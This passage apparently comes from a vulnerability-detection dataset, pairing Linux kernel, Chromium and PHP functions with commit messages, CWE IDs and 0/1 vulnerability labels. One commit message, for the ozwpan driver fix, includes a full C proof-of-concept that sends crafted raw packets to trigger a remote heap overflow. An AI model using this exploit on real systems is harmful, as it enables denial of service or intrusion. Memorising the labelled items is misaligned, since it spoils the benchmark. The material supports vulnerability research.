if (sk->sk_state != TCP_ESTABLISHED)
goto out;
daddr = inet->inet_daddr;
connected = 1;
}
/* Allocate a socket buffer */
rc = -ENOMEM;
skb = sock_wmalloc(sk, 2 + NET_SKB_PAD + sizeof(struct iphdr) +
4 + len, 0, GFP_KERNEL);
if (!skb)
goto error;
/* Reserve space for headers, putting IP header on 4-byte boundary. */
skb_reserve(skb, 2 + NET_SKB_PAD);
skb_reset_network_header(skb);
skb_reserve(skb, sizeof(struct iphdr));
skb_reset_transport_header(skb);
/* Insert 0 session_id */
*((__be32 *) skb_put(skb, 4)) = 0;
/* Copy user data into skb */
rc = memcpy_from_msg(skb_put(skb, len), msg, len);
if (rc < 0) {
kfree_skb(skb);
goto error;
}
fl4 = &inet->cork.fl.u.ip4;
if (connected)
rt = (struct rtable *) __sk_dst_check(sk, 0);
rcu_read_lock();
if (rt == NULL) {
const struct ip_options_rcu *inet_opt;
inet_opt = rcu_dereference(inet->inet_opt);
/* Use correct destination address if we have options. */
if (inet_opt && inet_opt->opt.srr)
daddr = inet_opt->opt.faddr;
/* If this fails, retransmit mechanism of transport layer will
* keep trying until route appears or the connection times
* itself out.
*/
rt = ip_route_output_ports(sock_net(sk), fl4, sk,
daddr, inet->inet_saddr,
inet->inet_dport, inet->inet_sport,
sk->sk_protocol, RT_CONN_FLAGS(sk),
sk->sk_bound_dev_if);
if (IS_ERR(rt))
goto no_route;
if (connected) {
sk_setup_caps(sk, &rt->dst);
} else {
skb_dst_set(skb, &rt->dst);
goto xmit;
}
}
/* We dont need to clone dst here, it is guaranteed to not disappear.
* __dev_xmit_skb() might force a refcount if needed.
*/
skb_dst_set_noref(skb, &rt->dst);
xmit:
/* Queue the packet to IP for output */
rc = ip_queue_xmit(sk, skb, &inet->cork.fl);
rcu_read_unlock();
error:
if (rc >= 0)
rc = len;
out:
release_sock(sk);
return rc;
no_route:
rcu_read_unlock();
IP_INC_STATS(sock_net(sk), IPSTATS_MIB_OUTNOROUTES);
kfree_skb(skb);
rc = -EHOSTUNREACH;
goto out;
}
Commit Message: l2tp: fix racy SOCK_ZAPPED flag check in l2tp_ip{,6}_bind()
Lock socket before checking the SOCK_ZAPPED flag in l2tp_ip6_bind().
Without lock, a concurrent call could modify the socket flags between
the sock_flag(sk, SOCK_ZAPPED) test and the lock_sock() call. This way,
a socket could be inserted twice in l2tp_ip6_bind_table. Releasing it
would then leave a stale pointer there, generating use-after-free
errors when walking through the list or modifying adjacent entries.
BUG: KASAN: use-after-free in l2tp_ip6_close+0x22e/0x290 at addr ffff8800081b0ed8
Write of size 8 by task syz-executor/10987
CPU: 0 PID: 10987 Comm: syz-executor Not tainted 4.8.0+ #39
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
ffff880031d97838 ffffffff829f835b ffff88001b5a1640 ffff8800081b0ec0
ffff8800081b15a0 ffff8800081b6d20 ffff880031d97860 ffffffff8174d3cc
ffff880031d978f0 ffff8800081b0e80 ffff88001b5a1640 ffff880031d978e0
Call Trace:
[<ffffffff829f835b>] dump_stack+0xb3/0x118 lib/dump_stack.c:15
[<ffffffff8174d3cc>] kasan_object_err+0x1c/0x70 mm/kasan/report.c:156
[< inline >] print_address_description mm/kasan/report.c:194
[<ffffffff8174d666>] kasan_report_error+0x1f6/0x4d0 mm/kasan/report.c:283
[< inline >] kasan_report mm/kasan/report.c:303
[<ffffffff8174db7e>] __asan_report_store8_noabort+0x3e/0x40 mm/kasan/report.c:329
[< inline >] __write_once_size ./include/linux/compiler.h:249
[< inline >] __hlist_del ./include/linux/list.h:622
[< inline >] hlist_del_init ./include/linux/list.h:637
[<ffffffff8579047e>] l2tp_ip6_close+0x22e/0x290 net/l2tp/l2tp_ip6.c:239
[<ffffffff850b2dfd>] inet_release+0xed/0x1c0 net/ipv4/af_inet.c:415
[<ffffffff851dc5a0>] inet6_release+0x50/0x70 net/ipv6/af_inet6.c:422
[<ffffffff84c4581d>] sock_release+0x8d/0x1d0 net/socket.c:570
[<ffffffff84c45976>] sock_close+0x16/0x20 net/socket.c:1017
[<ffffffff817a108c>] __fput+0x28c/0x780 fs/file_table.c:208
[<ffffffff817a1605>] ____fput+0x15/0x20 fs/file_table.c:244
[<ffffffff813774f9>] task_work_run+0xf9/0x170
[<ffffffff81324aae>] do_exit+0x85e/0x2a00
[<ffffffff81326dc8>] do_group_exit+0x108/0x330
[<ffffffff81348cf7>] get_signal+0x617/0x17a0 kernel/signal.c:2307
[<ffffffff811b49af>] do_signal+0x7f/0x18f0
[<ffffffff810039bf>] exit_to_usermode_loop+0xbf/0x150 arch/x86/entry/common.c:156
[< inline >] prepare_exit_to_usermode arch/x86/entry/common.c:190
[<ffffffff81006060>] syscall_return_slowpath+0x1a0/0x1e0 arch/x86/entry/common.c:259
[<ffffffff85e4d726>] entry_SYSCALL_64_fastpath+0xc4/0xc6
Object at ffff8800081b0ec0, in cache L2TP/IPv6 size: 1448
Allocated:
PID = 10987
[ 1116.897025] [<ffffffff811ddcb6>] save_stack_trace+0x16/0x20
[ 1116.897025] [<ffffffff8174c736>] save_stack+0x46/0xd0
[ 1116.897025] [<ffffffff8174c9ad>] kasan_kmalloc+0xad/0xe0
[ 1116.897025] [<ffffffff8174cee2>] kasan_slab_alloc+0x12/0x20
[ 1116.897025] [< inline >] slab_post_alloc_hook mm/slab.h:417
[ 1116.897025] [< inline >] slab_alloc_node mm/slub.c:2708
[ 1116.897025] [< inline >] slab_alloc mm/slub.c:2716
[ 1116.897025] [<ffffffff817476a8>] kmem_cache_alloc+0xc8/0x2b0 mm/slub.c:2721
[ 1116.897025] [<ffffffff84c4f6a9>] sk_prot_alloc+0x69/0x2b0 net/core/sock.c:1326
[ 1116.897025] [<ffffffff84c58ac8>] sk_alloc+0x38/0xae0 net/core/sock.c:1388
[ 1116.897025] [<ffffffff851ddf67>] inet6_create+0x2d7/0x1000 net/ipv6/af_inet6.c:182
[ 1116.897025] [<ffffffff84c4af7b>] __sock_create+0x37b/0x640 net/socket.c:1153
[ 1116.897025] [< inline >] sock_create net/socket.c:1193
[ 1116.897025] [< inline >] SYSC_socket net/socket.c:1223
[ 1116.897025] [<ffffffff84c4b46f>] SyS_socket+0xef/0x1b0 net/socket.c:1203
[ 1116.897025] [<ffffffff85e4d685>] entry_SYSCALL_64_fastpath+0x23/0xc6
Freed:
PID = 10987
[ 1116.897025] [<ffffffff811ddcb6>] save_stack_trace+0x16/0x20
[ 1116.897025] [<ffffffff8174c736>] save_stack+0x46/0xd0
[ 1116.897025] [<ffffffff8174cf61>] kasan_slab_free+0x71/0xb0
[ 1116.897025] [< inline >] slab_free_hook mm/slub.c:1352
[ 1116.897025] [< inline >] slab_free_freelist_hook mm/slub.c:1374
[ 1116.897025] [< inline >] slab_free mm/slub.c:2951
[ 1116.897025] [<ffffffff81748b28>] kmem_cache_free+0xc8/0x330 mm/slub.c:2973
[ 1116.897025] [< inline >] sk_prot_free net/core/sock.c:1369
[ 1116.897025] [<ffffffff84c541eb>] __sk_destruct+0x32b/0x4f0 net/core/sock.c:1444
[ 1116.897025] [<ffffffff84c5aca4>] sk_destruct+0x44/0x80 net/core/sock.c:1452
[ 1116.897025] [<ffffffff84c5ad33>] __sk_free+0x53/0x220 net/core/sock.c:1460
[ 1116.897025] [<ffffffff84c5af23>] sk_free+0x23/0x30 net/core/sock.c:1471
[ 1116.897025] [<ffffffff84c5cb6c>] sk_common_release+0x28c/0x3e0 ./include/net/sock.h:1589
[ 1116.897025] [<ffffffff8579044e>] l2tp_ip6_close+0x1fe/0x290 net/l2tp/l2tp_ip6.c:243
[ 1116.897025] [<ffffffff850b2dfd>] inet_release+0xed/0x1c0 net/ipv4/af_inet.c:415
[ 1116.897025] [<ffffffff851dc5a0>] inet6_release+0x50/0x70 net/ipv6/af_inet6.c:422
[ 1116.897025] [<ffffffff84c4581d>] sock_release+0x8d/0x1d0 net/socket.c:570
[ 1116.897025] [<ffffffff84c45976>] sock_close+0x16/0x20 net/socket.c:1017
[ 1116.897025] [<ffffffff817a108c>] __fput+0x28c/0x780 fs/file_table.c:208
[ 1116.897025] [<ffffffff817a1605>] ____fput+0x15/0x20 fs/file_table.c:244
[ 1116.897025] [<ffffffff813774f9>] task_work_run+0xf9/0x170
[ 1116.897025] [<ffffffff81324aae>] do_exit+0x85e/0x2a00
[ 1116.897025] [<ffffffff81326dc8>] do_group_exit+0x108/0x330
[ 1116.897025] [<ffffffff81348cf7>] get_signal+0x617/0x17a0 kernel/signal.c:2307
[ 1116.897025] [<ffffffff811b49af>] do_signal+0x7f/0x18f0
[ 1116.897025] [<ffffffff810039bf>] exit_to_usermode_loop+0xbf/0x150 arch/x86/entry/common.c:156
[ 1116.897025] [< inline >] prepare_exit_to_usermode arch/x86/entry/common.c:190
[ 1116.897025] [<ffffffff81006060>] syscall_return_slowpath+0x1a0/0x1e0 arch/x86/entry/common.c:259
[ 1116.897025] [<ffffffff85e4d726>] entry_SYSCALL_64_fastpath+0xc4/0xc6
Memory state around the buggy address:
ffff8800081b0d80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
ffff8800081b0e00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ffff8800081b0e80: fc fc fc fc fc fc fc fc fb fb fb fb fb fb fb fb
^
ffff8800081b0f00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff8800081b0f80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
The same issue exists with l2tp_ip_bind() and l2tp_ip_bind_table.
Fixes: c51ce49735c1 ("l2tp: fix oops in L2TP IP sockets for connect() AF_UNSPEC case")
Reported-by: Baozeng Ding <sploving1@gmail.com>
Reported-by: Andrey Konovalov <andreyknvl@google.com>
Tested-by: Baozeng Ding <sploving1@gmail.com>
Signed-off-by: Guillaume Nault <g.nault@alphalink.fr>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-416
| 0
| 5,809
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static bool nested_vmx_exit_handled_cr(struct kvm_vcpu *vcpu,
struct vmcs12 *vmcs12)
{
unsigned long exit_qualification = vmcs_readl(EXIT_QUALIFICATION);
int cr = exit_qualification & 15;
int reg = (exit_qualification >> 8) & 15;
unsigned long val = kvm_register_readl(vcpu, reg);
switch ((exit_qualification >> 4) & 3) {
case 0: /* mov to cr */
switch (cr) {
case 0:
if (vmcs12->cr0_guest_host_mask &
(val ^ vmcs12->cr0_read_shadow))
return 1;
break;
case 3:
if ((vmcs12->cr3_target_count >= 1 &&
vmcs12->cr3_target_value0 == val) ||
(vmcs12->cr3_target_count >= 2 &&
vmcs12->cr3_target_value1 == val) ||
(vmcs12->cr3_target_count >= 3 &&
vmcs12->cr3_target_value2 == val) ||
(vmcs12->cr3_target_count >= 4 &&
vmcs12->cr3_target_value3 == val))
return 0;
if (nested_cpu_has(vmcs12, CPU_BASED_CR3_LOAD_EXITING))
return 1;
break;
case 4:
if (vmcs12->cr4_guest_host_mask &
(vmcs12->cr4_read_shadow ^ val))
return 1;
break;
case 8:
if (nested_cpu_has(vmcs12, CPU_BASED_CR8_LOAD_EXITING))
return 1;
break;
}
break;
case 2: /* clts */
if ((vmcs12->cr0_guest_host_mask & X86_CR0_TS) &&
(vmcs12->cr0_read_shadow & X86_CR0_TS))
return 1;
break;
case 1: /* mov from cr */
switch (cr) {
case 3:
if (vmcs12->cpu_based_vm_exec_control &
CPU_BASED_CR3_STORE_EXITING)
return 1;
break;
case 8:
if (vmcs12->cpu_based_vm_exec_control &
CPU_BASED_CR8_STORE_EXITING)
return 1;
break;
}
break;
case 3: /* lmsw */
/*
* lmsw can change bits 1..3 of cr0, and only set bit 0 of
* cr0. Other attempted changes are ignored, with no exit.
*/
if (vmcs12->cr0_guest_host_mask & 0xe &
(val ^ vmcs12->cr0_read_shadow))
return 1;
if ((vmcs12->cr0_guest_host_mask & 0x1) &&
!(vmcs12->cr0_read_shadow & 0x1) &&
(val & 0x1))
return 1;
break;
}
return 0;
}
Commit Message: x86,kvm,vmx: Preserve CR4 across VM entry
CR4 isn't constant; at least the TSD and PCE bits can vary.
TBH, treating CR0 and CR3 as constant scares me a bit, too, but it looks
like it's correct.
This adds a branch and a read from cr4 to each vm entry. Because it is
extremely likely that consecutive entries into the same vcpu will have
the same host cr4 value, this fixes up the vmcs instead of restoring cr4
after the fact. A subsequent patch will add a kernel-wide cr4 shadow,
reducing the overhead in the common case to just two memory reads and a
branch.
Signed-off-by: Andy Lutomirski <luto@amacapital.net>
Acked-by: Paolo Bonzini <pbonzini@redhat.com>
Cc: stable@vger.kernel.org
Cc: Petr Matousek <pmatouse@redhat.com>
Cc: Gleb Natapov <gleb@kernel.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-399
| 0
| 16,954
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: const char* AutofillDialogViews::OverlayView::GetClassName() const {
return kOverlayViewClassName;
}
Commit Message: Clear out some minor TODOs.
BUG=none
Review URL: https://codereview.chromium.org/1047063002
Cr-Commit-Position: refs/heads/master@{#322959}
CWE ID: CWE-20
| 0
| 4,136
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static enum entity_charset determine_charset(char *charset_hint TSRMLS_DC)
{
int i;
enum entity_charset charset = cs_utf_8;
int len = 0;
const zend_encoding *zenc;
/* Default is now UTF-8 */
if (charset_hint == NULL)
return cs_utf_8;
if ((len = strlen(charset_hint)) != 0) {
goto det_charset;
}
zenc = zend_multibyte_get_internal_encoding(TSRMLS_C);
if (zenc != NULL) {
charset_hint = (char *)zend_multibyte_get_encoding_name(zenc);
if (charset_hint != NULL && (len=strlen(charset_hint)) != 0) {
if ((len == 4) /* sizeof (none|auto|pass) */ &&
(!memcmp("pass", charset_hint, 4) ||
!memcmp("auto", charset_hint, 4) ||
!memcmp("auto", charset_hint, 4))) {
charset_hint = NULL;
len = 0;
} else {
goto det_charset;
}
}
}
charset_hint = SG(default_charset);
if (charset_hint != NULL && (len=strlen(charset_hint)) != 0) {
goto det_charset;
}
/* try to detect the charset for the locale */
#if HAVE_NL_LANGINFO && HAVE_LOCALE_H && defined(CODESET)
charset_hint = nl_langinfo(CODESET);
if (charset_hint != NULL && (len=strlen(charset_hint)) != 0) {
goto det_charset;
}
#endif
#if HAVE_LOCALE_H
/* try to figure out the charset from the locale */
{
char *localename;
char *dot, *at;
/* lang[_territory][.codeset][@modifier] */
localename = setlocale(LC_CTYPE, NULL);
dot = strchr(localename, '.');
if (dot) {
dot++;
/* locale specifies a codeset */
at = strchr(dot, '@');
if (at)
len = at - dot;
else
len = strlen(dot);
charset_hint = dot;
} else {
/* no explicit name; see if the name itself
* is the charset */
charset_hint = localename;
len = strlen(charset_hint);
}
}
#endif
det_charset:
if (charset_hint) {
int found = 0;
/* now walk the charset map and look for the codeset */
for (i = 0; charset_map[i].codeset; i++) {
if (len == strlen(charset_map[i].codeset) && strncasecmp(charset_hint, charset_map[i].codeset, len) == 0) {
charset = charset_map[i].charset;
found = 1;
break;
}
}
if (!found) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "charset `%s' not supported, assuming utf-8",
charset_hint);
}
}
return charset;
}
Commit Message: Fix bug #72135 - don't create strings with lengths outside int range
CWE ID: CWE-190
| 1
| 8,616
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static struct oz_urb_link *oz_uncancel_urb(struct oz_hcd *ozhcd,
struct urb *urb)
{
struct oz_urb_link *urbl;
list_for_each_entry(urbl, &ozhcd->urb_cancel_list, link) {
if (urb == urbl->urb) {
list_del_init(&urbl->link);
return urbl;
}
}
return NULL;
}
Commit Message: ozwpan: Use unsigned ints to prevent heap overflow
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-189
| 0
| 4,614
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int edge_write(struct tty_struct *tty, struct usb_serial_port *port,
const unsigned char *data, int count)
{
struct edgeport_port *edge_port = usb_get_serial_port_data(port);
if (count == 0) {
dev_dbg(&port->dev, "%s - write request of 0 bytes\n", __func__);
return 0;
}
if (edge_port == NULL)
return -ENODEV;
if (edge_port->close_pending == 1)
return -ENODEV;
count = kfifo_in_locked(&edge_port->write_fifo, data, count,
&edge_port->ep_lock);
edge_send(tty);
return count;
}
Commit Message: USB: io_ti: Fix NULL dereference in chase_port()
The tty is NULL when the port is hanging up.
chase_port() needs to check for this.
This patch is intended for stable series.
The behavior was observed and tested in Linux 3.2 and 3.7.1.
Johan Hovold submitted a more elaborate patch for the mainline kernel.
[ 56.277883] usb 1-1: edge_bulk_in_callback - nonzero read bulk status received: -84
[ 56.278811] usb 1-1: USB disconnect, device number 3
[ 56.278856] usb 1-1: edge_bulk_in_callback - stopping read!
[ 56.279562] BUG: unable to handle kernel NULL pointer dereference at 00000000000001c8
[ 56.280536] IP: [<ffffffff8144e62a>] _raw_spin_lock_irqsave+0x19/0x35
[ 56.281212] PGD 1dc1b067 PUD 1e0f7067 PMD 0
[ 56.282085] Oops: 0002 [#1] SMP
[ 56.282744] Modules linked in:
[ 56.283512] CPU 1
[ 56.283512] Pid: 25, comm: khubd Not tainted 3.7.1 #1 innotek GmbH VirtualBox/VirtualBox
[ 56.283512] RIP: 0010:[<ffffffff8144e62a>] [<ffffffff8144e62a>] _raw_spin_lock_irqsave+0x19/0x35
[ 56.283512] RSP: 0018:ffff88001fa99ab0 EFLAGS: 00010046
[ 56.283512] RAX: 0000000000000046 RBX: 00000000000001c8 RCX: 0000000000640064
[ 56.283512] RDX: 0000000000010000 RSI: ffff88001fa99b20 RDI: 00000000000001c8
[ 56.283512] RBP: ffff88001fa99b20 R08: 0000000000000000 R09: 0000000000000000
[ 56.283512] R10: 0000000000000000 R11: ffffffff812fcb4c R12: ffff88001ddf53c0
[ 56.283512] R13: 0000000000000000 R14: 00000000000001c8 R15: ffff88001e19b9f4
[ 56.283512] FS: 0000000000000000(0000) GS:ffff88001fd00000(0000) knlGS:0000000000000000
[ 56.283512] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 56.283512] CR2: 00000000000001c8 CR3: 000000001dc51000 CR4: 00000000000006e0
[ 56.283512] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 56.283512] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[ 56.283512] Process khubd (pid: 25, threadinfo ffff88001fa98000, task ffff88001fa94f80)
[ 56.283512] Stack:
[ 56.283512] 0000000000000046 00000000000001c8 ffffffff810578ec ffffffff812fcb4c
[ 56.283512] ffff88001e19b980 0000000000002710 ffffffff812ffe81 0000000000000001
[ 56.283512] ffff88001fa94f80 0000000000000202 ffffffff00000001 0000000000000296
[ 56.283512] Call Trace:
[ 56.283512] [<ffffffff810578ec>] ? add_wait_queue+0x12/0x3c
[ 56.283512] [<ffffffff812fcb4c>] ? usb_serial_port_work+0x28/0x28
[ 56.283512] [<ffffffff812ffe81>] ? chase_port+0x84/0x2d6
[ 56.283512] [<ffffffff81063f27>] ? try_to_wake_up+0x199/0x199
[ 56.283512] [<ffffffff81263a5c>] ? tty_ldisc_hangup+0x222/0x298
[ 56.283512] [<ffffffff81300171>] ? edge_close+0x64/0x129
[ 56.283512] [<ffffffff810612f7>] ? __wake_up+0x35/0x46
[ 56.283512] [<ffffffff8106135b>] ? should_resched+0x5/0x23
[ 56.283512] [<ffffffff81264916>] ? tty_port_shutdown+0x39/0x44
[ 56.283512] [<ffffffff812fcb4c>] ? usb_serial_port_work+0x28/0x28
[ 56.283512] [<ffffffff8125d38c>] ? __tty_hangup+0x307/0x351
[ 56.283512] [<ffffffff812e6ddc>] ? usb_hcd_flush_endpoint+0xde/0xed
[ 56.283512] [<ffffffff8144e625>] ? _raw_spin_lock_irqsave+0x14/0x35
[ 56.283512] [<ffffffff812fd361>] ? usb_serial_disconnect+0x57/0xc2
[ 56.283512] [<ffffffff812ea99b>] ? usb_unbind_interface+0x5c/0x131
[ 56.283512] [<ffffffff8128d738>] ? __device_release_driver+0x7f/0xd5
[ 56.283512] [<ffffffff8128d9cd>] ? device_release_driver+0x1a/0x25
[ 56.283512] [<ffffffff8128d393>] ? bus_remove_device+0xd2/0xe7
[ 56.283512] [<ffffffff8128b7a3>] ? device_del+0x119/0x167
[ 56.283512] [<ffffffff812e8d9d>] ? usb_disable_device+0x6a/0x180
[ 56.283512] [<ffffffff812e2ae0>] ? usb_disconnect+0x81/0xe6
[ 56.283512] [<ffffffff812e4435>] ? hub_thread+0x577/0xe82
[ 56.283512] [<ffffffff8144daa7>] ? __schedule+0x490/0x4be
[ 56.283512] [<ffffffff8105798f>] ? abort_exclusive_wait+0x79/0x79
[ 56.283512] [<ffffffff812e3ebe>] ? usb_remote_wakeup+0x2f/0x2f
[ 56.283512] [<ffffffff812e3ebe>] ? usb_remote_wakeup+0x2f/0x2f
[ 56.283512] [<ffffffff810570b4>] ? kthread+0x81/0x89
[ 56.283512] [<ffffffff81057033>] ? __kthread_parkme+0x5c/0x5c
[ 56.283512] [<ffffffff8145387c>] ? ret_from_fork+0x7c/0xb0
[ 56.283512] [<ffffffff81057033>] ? __kthread_parkme+0x5c/0x5c
[ 56.283512] Code: 8b 7c 24 08 e8 17 0b c3 ff 48 8b 04 24 48 83 c4 10 c3 53 48 89 fb 41 50 e8 e0 0a c3 ff 48 89 04 24 e8 e7 0a c3 ff ba 00 00 01 00
<f0> 0f c1 13 48 8b 04 24 89 d1 c1 ea 10 66 39 d1 74 07 f3 90 66
[ 56.283512] RIP [<ffffffff8144e62a>] _raw_spin_lock_irqsave+0x19/0x35
[ 56.283512] RSP <ffff88001fa99ab0>
[ 56.283512] CR2: 00000000000001c8
[ 56.283512] ---[ end trace 49714df27e1679ce ]---
Signed-off-by: Wolfgang Frisch <wfpub@roembden.net>
Cc: Johan Hovold <jhovold@gmail.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-264
| 0
| 17,069
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static unsigned int acl_to_byte_44(const struct sc_acl_entry *e, u8* p_bNumber)
{
/* Handle special fixed values */
if (e == (sc_acl_entry_t *) 1) /* SC_AC_NEVER */
return SC_AC_NEVER;
else if ((e == (sc_acl_entry_t *) 2) || /* SC_AC_NONE */
(e == (sc_acl_entry_t *) 3) || /* SC_AC_UNKNOWN */
(e == (sc_acl_entry_t *) 0))
return SC_AC_NONE;
/* Handle standard values */
*p_bNumber = e->key_ref;
return(e->method);
}
Commit Message: fixed out of bounds reads
Thanks to Eric Sesterhenn from X41 D-SEC GmbH
for reporting and suggesting security fixes.
CWE ID: CWE-125
| 0
| 18,294
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void dumpV8Message(v8::Local<v8::Context> context,
v8::Local<v8::Message> message) {
if (message.IsEmpty())
return;
message->GetScriptOrigin();
v8::Maybe<int> unused = message->GetLineNumber(context);
ALLOW_UNUSED_LOCAL(unused);
v8::Local<v8::Value> resourceName = message->GetScriptOrigin().ResourceName();
String fileName = "Unknown JavaScript file";
if (!resourceName.IsEmpty() && resourceName->IsString())
fileName = toCoreString(v8::Local<v8::String>::Cast(resourceName));
int lineNumber = 0;
v8Call(message->GetLineNumber(context), lineNumber);
v8::Local<v8::String> errorMessage = message->Get();
fprintf(stderr, "%s (line %d): %s\n", fileName.utf8().data(), lineNumber,
toCoreString(errorMessage).utf8().data());
}
Commit Message: Don't touch the prototype chain to get the private script controller.
Prior to this patch, private scripts attempted to get the
"privateScriptController" property off the global object without verifying if
the property actually exists on the global. If the property hasn't been set yet,
this operation could descend into the prototype chain and potentially return
a named property from the WindowProperties object, leading to release asserts
and general confusion.
BUG=668552
Review-Url: https://codereview.chromium.org/2529163002
Cr-Commit-Position: refs/heads/master@{#434627}
CWE ID: CWE-79
| 0
| 13,258
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int check_return_code(struct bpf_verifier_env *env)
{
struct bpf_reg_state *reg;
struct tnum range = tnum_range(0, 1);
switch (env->prog->type) {
case BPF_PROG_TYPE_CGROUP_SKB:
case BPF_PROG_TYPE_CGROUP_SOCK:
